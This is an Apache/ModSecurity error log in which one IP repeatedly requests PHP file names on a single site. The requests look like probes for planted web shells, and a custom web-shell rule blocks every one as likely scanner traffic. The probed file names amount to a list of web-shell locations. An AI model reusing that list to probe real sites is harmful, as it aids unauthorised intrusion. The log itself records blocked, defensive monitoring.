[Wed Apr 01 23:01:35.856828 2026] [:error] [pid 17856:tid 17860] [client 172.213.8.171:48492] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0zTz7Idlm5j9frhqR0OAAAAEI"]
[Wed Apr 01 23:01:36.345629 2026] [:error] [pid 8910:tid 8979] [client 172.213.8.171:55089] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0zUKJZINUcF3tYgEx-NgAAAQs"]
[Wed Apr 01 23:01:36.849939 2026] [:error] [pid 8908:tid 8920] [client 172.213.8.171:38147] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac0zUPkmxtJXGnLdvgDEDQAAAIc"]
[Wed Apr 01 23:01:43.891799 2026] [:error] [pid 8910:tid 8985] [client 172.213.8.171:19687] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac0zV6JZINUcF3tYgEx-YgAAARE"]
[Wed Apr 01 23:01:44.823996 2026] [:error] [pid 8909:tid 8963] [client 172.213.8.171:22519] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac0zWDvP_a0662gDl6AHEAAAANY"]
[Wed Apr 01 23:01:45.817984 2026] [:error] [pid 8908:tid 8935] [client 172.213.8.171:2048] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac0zWfkmxtJXGnLdvgDEQgAAAJY"]
[Wed Apr 01 23:01:46.611857 2026] [:error] [pid 17856:tid 17872] [client 172.213.8.171:42548] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac0zWj7Idlm5j9frhqR0UQAAAE4"]
[Wed Apr 01 23:01:47.464817 2026] [:error] [pid 8909:tid 8952] [client 172.213.8.171:55005] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac0zWzvP_a0662gDl6AHFAAAAMs"]
[Wed Apr 01 23:01:48.405683 2026] [:error] [pid 17856:tid 17869] [client 172.213.8.171:2066] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac0zXD7Idlm5j9frhqR0UwAAAEs"]
[Wed Apr 01 23:01:49.106923 2026] [:error] [pid 62559:tid 62567] [client 172.213.8.171:65407] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac0zXS7NKI8IaNKZFIfhzAAAAUY"]
[Wed Apr 01 23:01:50.194285 2026] [:error] [pid 8908:tid 8918] [client 172.213.8.171:49840] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac0zXvkmxtJXGnLdvgDEaAAAAIU"]
[Wed Apr 01 23:01:51.280624 2026] [:error] [pid 62559:tid 62579] [client 172.213.8.171:34528] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htzevfl4k9ey5hoaywdwiCdefault.php"] [unique_id "ac0zXy7NKI8IaNKZFIfh1QAAAVI"]
[Wed Apr 01 23:01:52.248068 2026] [:error] [pid 62559:tid 62577] [client 172.213.8.171:31509] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htzevfl4k9ey5hoaywdwiCdefault.php"] [unique_id "ac0zYC7NKI8IaNKZFIfh2wAAAVA"]
[Wed Apr 01 23:01:53.685231 2026] [:error] [pid 8908:tid 8927] [client 172.213.8.171:27089] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htzevfl4k9ey5hoaywdwiCdefault.php"] [unique_id "ac0zYfkmxtJXGnLdvgDEhgAAAI4"]
[Wed Apr 01 23:01:55.724563 2026] [:error] [pid 62559:tid 62563] [client 172.213.8.171:35440] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htzevfl4k9ey5hoaywdwiCdefault.php"] [unique_id "ac0zYy7NKI8IaNKZFIfh7AAAAUI"]
[Wed Apr 01 23:01:56.868540 2026] [:error] [pid 62559:tid 62576] [client 172.213.8.171:65404] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "ac0zZC7NKI8IaNKZFIfh7gAAAU8"]
[Wed Apr 01 23:01:57.407045 2026] [:error] [pid 17856:tid 17863] [client 172.213.8.171:33344] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "ac0zZT7Idlm5j9frhqR0WAAAAEU"]
[Wed Apr 01 23:01:58.014664 2026] [:error] [pid 62559:tid 62575] [client 172.213.8.171:49746] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "ac0zZi7NKI8IaNKZFIfh8AAAAU4"]
[Wed Apr 01 23:01:58.552007 2026] [:error] [pid 8995:tid 9013] [client 172.213.8.171:2091] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "ac0zZuonaBjs3qxcRefr-QAAAA8"]
[Wed Apr 01 23:01:59.082439 2026] [:error] [pid 62559:tid 62569] [client 172.213.8.171:49812] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac0zZy7NKI8IaNKZFIfh8wAAAUg"]
[Wed Apr 01 23:01:59.677664 2026] [:error] [pid 8995:tid 9005] [client 172.213.8.171:61471] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac0zZ-onaBjs3qxcRefsAAAAAAc"]
[Wed Apr 01 23:02:00.161678 2026] [:error] [pid 62559:tid 62565] [client 172.213.8.171:34497] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac0zaC7NKI8IaNKZFIfh-AAAAUQ"]
[Wed Apr 01 23:02:00.666866 2026] [:error] [pid 62559:tid 62571] [client 172.213.8.171:22088] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "ac0zaC7NKI8IaNKZFIfh-wAAAUo"]
[Wed Apr 01 23:02:01.482332 2026] [:error] [pid 8908:tid 8931] [client 172.213.8.171:19686] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "ac0zafkmxtJXGnLdvgDEtwAAAJI"]
[Wed Apr 01 23:02:02.100035 2026] [:error] [pid 8908:tid 8933] [client 172.213.8.171:34561] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "ac0zavkmxtJXGnLdvgDEwAAAAJQ"]
[Wed Apr 01 23:02:02.725628 2026] [:error] [pid 62559:tid 62585] [client 172.213.8.171:60266] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "ac0zai7NKI8IaNKZFIfiAAAAAVg"]
[Wed Apr 01 23:02:03.281529 2026] [:error] [pid 62559:tid 62573] [client 172.213.8.171:65360] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "ac0zay7NKI8IaNKZFIfiBQAAAUw"]
[Wed Apr 01 23:02:03.983560 2026] [:error] [pid 8995:tid 9014] [client 172.213.8.171:2060] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac0za-onaBjs3qxcRefsDQAAABA"]
[Wed Apr 01 23:02:04.825533 2026] [:error] [pid 8995:tid 9000] [client 172.213.8.171:49798] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac0zbOonaBjs3qxcRefsDwAAAAI"]
[Wed Apr 01 23:02:05.523451 2026] [:error] [pid 62559:tid 62572] [client 172.213.8.171:33389] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac0zbS7NKI8IaNKZFIfiGAAAAUs"]
[Wed Apr 01 23:02:06.134403 2026] [:error] [pid 17856:tid 17877] [client 172.213.8.171:22105] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac0zbj7Idlm5j9frhqR0YwAAAFM"]
[Wed Apr 01 23:02:06.742965 2026] [:error] [pid 62559:tid 62577] [client 172.213.8.171:34604] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "ac0zbi7NKI8IaNKZFIfiJAAAAVA"]
[Wed Apr 01 23:02:07.351339 2026] [:error] [pid 17856:tid 17872] [client 172.213.8.171:33355] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "ac0zbz7Idlm5j9frhqR0ZgAAAE4"]
[Wed Apr 01 23:02:08.233816 2026] [:error] [pid 8909:tid 8949] [client 172.213.8.171:34609] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "ac0zcDvP_a0662gDl6AHMQAAAMg"]
[Wed Apr 01 23:02:08.792161 2026] [:error] [pid 8909:tid 8952] [client 172.213.8.171:27031] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "ac0zcDvP_a0662gDl6AHMgAAAMs"]
[Wed Apr 01 23:02:09.388466 2026] [:error] [pid 17856:tid 17869] [client 172.213.8.171:3013] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynjli.php"] [unique_id "ac0zcT7Idlm5j9frhqR0awAAAEs"]
[Wed Apr 01 23:02:10.189861 2026] [:error] [pid 17856:tid 17879] [client 172.213.8.171:22471] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynjli.php"] [unique_id "ac0zcj7Idlm5j9frhqR0bgAAAFU"]
[Wed Apr 01 23:02:11.409652 2026] [:error] [pid 8908:tid 8917] [client 172.213.8.171:31507] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynjli.php"] [unique_id "ac0zc_kmxtJXGnLdvgDE4QAAAIQ"]
[Wed Apr 01 23:02:13.059597 2026] [:error] [pid 8909:tid 8959] [client 172.213.8.171:65381] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynjli.php"] [unique_id "ac0zdTvP_a0662gDl6AHRAAAANI"]
[Wed Apr 01 23:02:13.761668 2026] [:error] [pid 8909:tid 8946] [client 172.213.8.171:64401] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a6.php"] [unique_id "ac0zdTvP_a0662gDl6AHRgAAAMU"]
[Wed Apr 01 23:02:14.625734 2026] [:error] [pid 8910:tid 8976] [client 172.213.8.171:55058] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a6.php"] [unique_id "ac0zdqJZINUcF3tYgEx-pQAAAQg"]
[Wed Apr 01 23:02:15.501733 2026] [:error] [pid 8909:tid 8953] [client 172.213.8.171:49853] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a6.php"] [unique_id "ac0zdzvP_a0662gDl6AHTwAAAMw"]
[Wed Apr 01 23:02:16.703337 2026] [:error] [pid 8909:tid 8957] [client 172.213.8.171:47719] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a6.php"] [unique_id "ac0zeDvP_a0662gDl6AHVgAAANA"]
[Wed Apr 01 23:02:17.584528 2026] [:error] [pid 62559:tid 62584] [client 172.213.8.171:43141] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac0zeS7NKI8IaNKZFIfiPAAAAVc"]
[Wed Apr 01 23:02:18.143266 2026] [:error] [pid 17856:tid 17860] [client 172.213.8.171:47736] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac0zej7Idlm5j9frhqR0fQAAAEI"]
[Wed Apr 01 23:02:18.649940 2026] [:error] [pid 8908:tid 8916] [client 172.213.8.171:62693] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac0zevkmxtJXGnLdvgDE-wAAAIM"]
[Wed Apr 01 23:02:19.409989 2026] [:error] [pid 8909:tid 8956] [client 172.213.8.171:55081] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac0zezvP_a0662gDl6AHWwAAAM8"]
[Wed Apr 01 23:02:19.927061 2026] [:error] [pid 62559:tid 62567] [client 172.213.8.171:48465] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac0zey7NKI8IaNKZFIfiRQAAAUY"]
[Wed Apr 01 23:02:20.819631 2026] [:error] [pid 8908:tid 8916] [client 172.213.8.171:38148] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac0zfPkmxtJXGnLdvgDFAwAAAIM"]
[Wed Apr 01 23:02:21.710507 2026] [:error] [pid 62559:tid 62568] [client 172.213.8.171:22736] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac0zfS7NKI8IaNKZFIfiTgAAAUc"]
[Wed Apr 01 23:02:22.261156 2026] [:error] [pid 62559:tid 62567] [client 172.213.8.171:58988] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac0zfi7NKI8IaNKZFIfiVwAAAUY"]
[Wed Apr 01 23:02:22.914131 2026] [:error] [pid 8995:tid 9007] [client 172.213.8.171:21150] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac0zfuonaBjs3qxcRefsNwAAAAk"]
[Wed Apr 01 23:02:23.762437 2026] [:error] [pid 62559:tid 62579] [client 172.213.8.171:43131] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac0zfy7NKI8IaNKZFIfiZwAAAVI"]
[Wed Apr 01 23:02:24.284500 2026] [:error] [pid 8908:tid 8915] [client 172.213.8.171:38664] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac0zgPkmxtJXGnLdvgDFEQAAAII"]
